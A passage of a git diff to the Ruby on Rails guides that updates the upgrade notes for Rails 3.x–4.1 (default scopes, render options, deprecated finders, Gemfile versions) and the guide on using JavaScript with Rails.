`before_action`). + +See [this pull request](https://github.com/rails/rails/pull/13271) for more +details. + +### Methods defined in Active Record fixtures + +Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods +defined in a fixture will not be available in other fixtures. + +Helper methods that are used in multiple fixtures should be defined on modules +included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in +`test_helper.rb`. + +```ruby +class FixtureFileHelpers + def file_sha(path) + Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path))) + end +end +ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers +``` + +### I18n enforcing available locales + +Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`, +meaning that it will make sure that all locales passed to it must be declared in +the `available_locales` list. + +To disable it (and allow I18n to accept *any* locale option) add the following +configuration to your application: + +```ruby +config.i18n.enforce_available_locales = false +``` + +Note that this option was added as a security measure, to ensure user input could +not be used as locale information unless previously known, so it's recommended not +to disable this option unless you have a strong reason for doing so. + +### Mutator methods called on Relation + +`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert +to an `Array` by calling `#to_a` before using these methods. + +It intends to prevent odd bugs and confusion in code that call mutator +methods directly on the `Relation`. + +```ruby +# Instead of this +Author.where(name: 'Hank Moody').compact! + +# Now you have to do this +authors = Author.where(name: 'Hank Moody').to_a +authors.compact! +``` + +### Changes on Default Scopes + +Default scopes are no longer overriden by chained conditions. + +In previous versions when you defined a `default_scope` in a model +it was overriden by chained conditions in the same field. Now it +is merged like any other scope. + +Before: + +```ruby +class User < ActiveRecord::Base + default_scope { where state: 'pending' } + scope :active, -> { where state: 'active' } + scope :inactive, -> { where state: 'inactive' } +end + +User.all +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' + +User.active +# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' + +User.where(state: 'inactive') +# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' +``` + +After: + +```ruby +class User < ActiveRecord::Base + default_scope { where state: 'pending' } + scope :active, -> { where state: 'active' } + scope :inactive, -> { where state: 'inactive' } +end + +User.all +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' + +User.active +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active' + +User.where(state: 'inactive') +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive' +``` + +To get the previous behavior it is needed to explicitly remove the +`default_scope` condition using `unscoped`, `unscope`, `rewhere` or +`except`. + +```ruby +class User < ActiveRecord::Base + default_scope { where state: 'pending' } + scope :active, -> { unscope(where: :state).where(state: 'active') } + scope :inactive, -> { rewhere state: 'inactive' } +end + +User.all +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' + +User.active +# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' + +User.inactive +# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' +``` + +### Rendering content from string + +Rails 4.1 introduces `:plain`, `:html`, and `:body` options to `render`. Those +options are now the preferred way to render string-based content, as it allows +you to specify which content type you want the response sent as. + +* `render :plain` will set the content type to `text/plain` +* `render :html` will set the content type to `text/html` +* `render :body` will *not* set the content type header. + +From the security standpoint, if you don't expect to have any markup in your +response body, you should be using `render :plain` as most browsers will escape +unsafe content in the response for you. + +We will be deprecating the use of `render :text` in a future version. So please +start using the more precise `:plain:`, `:html`, and `:body` options instead. +Using `render :text` may pose a security risk, as the content is sent as +`text/html`. + +Upgrading from Rails 3.2 to Rails 4.0 +------------------------------------- + +If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0. + +The following changes are meant for upgrading your application to Rails 4.0. + ### HTTP PATCH Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful @@ -120,18 +498,17 @@ Ruby libraries yet. Aaron Patterson's [hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have full support for the last few changes in the specification. -Upgrading from Rails 3.2 to Rails 4.0 -------------------------------------- - -NOTE: This section is a work in progress. - -If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0. - -The following changes are meant for upgrading your application to Rails 4.0. - ### Gemfile -Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that line from your Gemfile when upgrading. +Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that +line from your Gemfile when upgrading. You should also update your application +file (in `config/application.rb`): + +```ruby +# Require the gems listed in Gemfile, including any gems +# you've limited to :test, :development, or :production. +Bundler.require(:default, Rails.env) +``` ### vendor/plugins @@ -143,11 +520,14 @@ Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep * The `delete` method in collection associations can now receive `Fixnum` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them. -* Rails 4.0 has changed how orders get stacked in `ActiveRecord::Relation`. In previous versions of Rails, the new order was applied after the previously defined order. But this is no longer true. Check [Active Record Query guide](active_record_querying.html#ordering) for more information. +* In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed. * Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`. -* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) to a smoothly upgrade path. +* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path. + +* If you are not using Protected Attributes, you can remove any options related to +this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options. * Rails 4.0 requires that scopes use a callable object such as a Proc or lambda: @@ -159,8 +539,27 @@ Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep ``` * Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`. + * Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`. +* Rails 4.0 has deprecated the old-style hash based finder API. This means that + methods which previously accepted "finder options" no longer do. + +* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. + Here's how you can handle the changes: + + * `find_all_by_...` becomes `where(...)`. + * `find_last_by_...` becomes `where(...).last`. + * `scoped_by_...` becomes `where(...)`. + * `find_or_initialize_by_...` becomes `find_or_initialize_by(...)`. + * `find_or_create_by_...` becomes `find_or_create_by(...)`. + +* Note that `where(...)` returns a relation, not an array like the old finders. If you require an `Array`, use `where(...).to_a`. + +* These equivalent methods may not execute the same SQL as the previous implementation. + +* To re-enable the old finders, you can use the [activerecord-deprecated_finders gem](https://github.com/rails/activerecord-deprecated_finders). + ### Active Resource Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile. @@ -194,16 +593,6 @@ If you are relying on the ability for external applications or Javascript to be * Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty. -As described above, existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`. - -```ruby - # config/initializers/secret_token.rb - Myapp::Application.config.secret_token = 'existing secret token' - Myapp::Application.config.secret_key_base = 'new secret key base' -``` - -The same caveats apply here, too. You should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. You should also take care to make sure you are not relying on the ability to decode signed cookies generated by your app in external applications or Javascript before upgrading. - Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies. * Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature. @@ -218,6 +607,11 @@ Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for d * Rails 4.0 deprecates the `dom_id` and `dom_class` methods in controllers (they are fine in views). You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature. +* Rails 4.0 deprecates the `:confirm` option for the `link_to` helper. You should +instead rely on a data attribute (e.g. `data: { confirm: 'Are you sure?' }`). +This deprecation also concerns the helpers based on this one (such as `link_to_if` +or `link_to_unless`). + * Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`. * Rails 4.0 raises an `ArgumentError` if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the `resources` method. Here are two examples that clash with routes named `example_path`: @@ -253,13 +647,13 @@ get 'こんにちは', controller: 'welcome', action: 'index' ```ruby # Rails 3.x - match "/" => "root#index" + match '/' => 'root#index' # becomes - match "/" => "root#index", via: :get + match '/' => 'root#index', via: :get # or - get "/" => "root#index" + get '/' => 'root#index' ``` * Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`. @@ -304,29 +698,35 @@ Active Record Observer and Action Controller Sweeper have been extracted to the ### sprockets-rails -* `assets:precompile:primary` has been removed. Use `assets:precompile` instead. +* `assets:precompile:primary` and `assets:precompile:all` have been removed. Use `assets:precompile` instead. +* The `config.assets.compress` option should be changed to `config.assets.js_compressor` like so for instance: + +```ruby +config.assets.js_compressor = :uglifier +``` ### sass-rails -* `asset_url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")` +* `asset-url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`. Upgrading from Rails 3.1 to Rails 3.2 ------------------------------------- If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2. -The following changes are meant for upgrading your application to Rails 3.2.12, the latest 3.2.x version of Rails. +The following changes are meant for upgrading your application to Rails 3.2.17, +the last 3.2.x version of Rails. ### Gemfile Make the following changes to your `Gemfile`. ```ruby -gem 'rails', '= 3.2.12' +gem 'rails', '3.2.17' group :assets do - gem 'sass-rails', '~> 3.2.3' - gem 'coffee-rails', '~> 3.2.1' + gem 'sass-rails', '~> 3.2.6' + gem 'coffee-rails', '~> 3.2.2' gem 'uglifier', '>= 1.0.3' end ``` @@ -357,26 +757,30 @@ config.active_record.mass_assignment_sanitizer = :strict Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`. +### Active Record + +Option `:dependent => :restrict` has been removed from `belongs_to`. If you want to prevent deleting the object if there are any associated objects, you can set `:dependent => :destroy` and return `false` after checking for existence of association from any of the associated object's destroy callbacks. + Upgrading from Rails 3.0 to Rails 3.1 ------------------------------------- If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1. -The following changes are meant for upgrading your application to Rails 3.1.11, the latest 3.1.x version of Rails. +The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails. ### Gemfile Make the following changes to your `Gemfile`. ```ruby -gem 'rails', '= 3.1.11' +gem 'rails', '3.1.12' gem 'mysql2' # Needed for the new asset pipeline group :assets do - gem 'sass-rails', "~> 3.1.5" - gem 'coffee-rails', "~> 3.1.1" - gem 'uglifier', ">= 1.0.3" + gem 'sass-rails', '~> 3.1.7' + gem 'coffee-rails', '~> 3.1.1' + gem 'uglifier', '>= 1.0.3' end # jQuery is the default JavaScript library in Rails 3.1 @@ -444,7 +848,7 @@ You can help test performance with these additions to your test environment: ```ruby # Configure static asset server for tests with Cache-Control for performance config.serve_static_assets = true -config.static_cache_control = "public, max-age=3600" +config.static_cache_control = 'public, max-age=3600' ``` ### config/initializers/wrap_parameters.rb diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md index bd0c796673..aba3c9ed61 100644 --- a/guides/source/working_with_javascript_in_rails.md +++ b/guides/source/working_with_javascript_in_rails.md @@ -111,7 +111,9 @@ paintIt = (element, backgroundColor, textColor) -> element.style.color = textColor $ -> - $("a[data-background-color]").click -> + $("a[data-background-color]").click (e) -> + e.preventDefault() + backgroundColor = $(this).data("background-color") textColor = $(this).data("text-color") paintIt(this, backgroundColor, textColor) @@ -169,7 +171,7 @@ This will generate the following HTML: </form> ``` -Note the `data-remote='true'`. Now, the form will be submitted by Ajax rather +Note the `data-remote="true"`. Now, the form will be submitted by Ajax rather than by the browser's normal submit mechanism. You probably don't want to just sit there with a filled out `<form>`, though. @@ -180,12 +182,12 @@ bind to the `ajax:success` event. On failure, use `ajax:error`. Check it out: $(document).ready -> $("#new_post").on("ajax:success", (e, data, status, xhr) -> $("#new_post").append xhr.responseText - ).bind "ajax:error", (e, xhr, status, error) -> + ).on "ajax:error", (e, xhr, status, error) -> $("#new_post").append "<p>ERROR</p>" ``` Obviously, you'll want to be a bit more sophisticated than that, but it's a -start. +start. You can see more about the events [in the jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki/ajax). ### form_tag @@ -194,7 +196,17 @@ is very similar to `form_for`. It has a `:remote` option that you can use like this: ```erb -<%= form_tag('/posts', remote: true) %> +<%= form_tag('/posts', remote: true) do %> + ... +<% end %> +``` + +This will generate the following HTML: + +```html +<form accept-charset="UTF-8" action="/posts" data-remote="true" method="post"> + ... +</form> ``` Everything else is the same as `form_for`. See its documentation for full @@ -299,10 +311,10 @@ The `app/views/users/_user.html.erb` partial contains the following: The top portion of the index page displays the users. The bottom portion provides a form to create a new user. -The bottom form will call the create action on the Users controller. Because +The bottom form will call the `create` action on the `UsersController`. Because the form's remote option is set to true, the request will be posted to the -users controller as an Ajax request, looking for JavaScript. In order to -service that request, the create action of your controller would look like +`UsersController` as an Ajax request, looking for JavaScript. In order to +serve that request, the `create` action of your controller would look like this: ```ruby |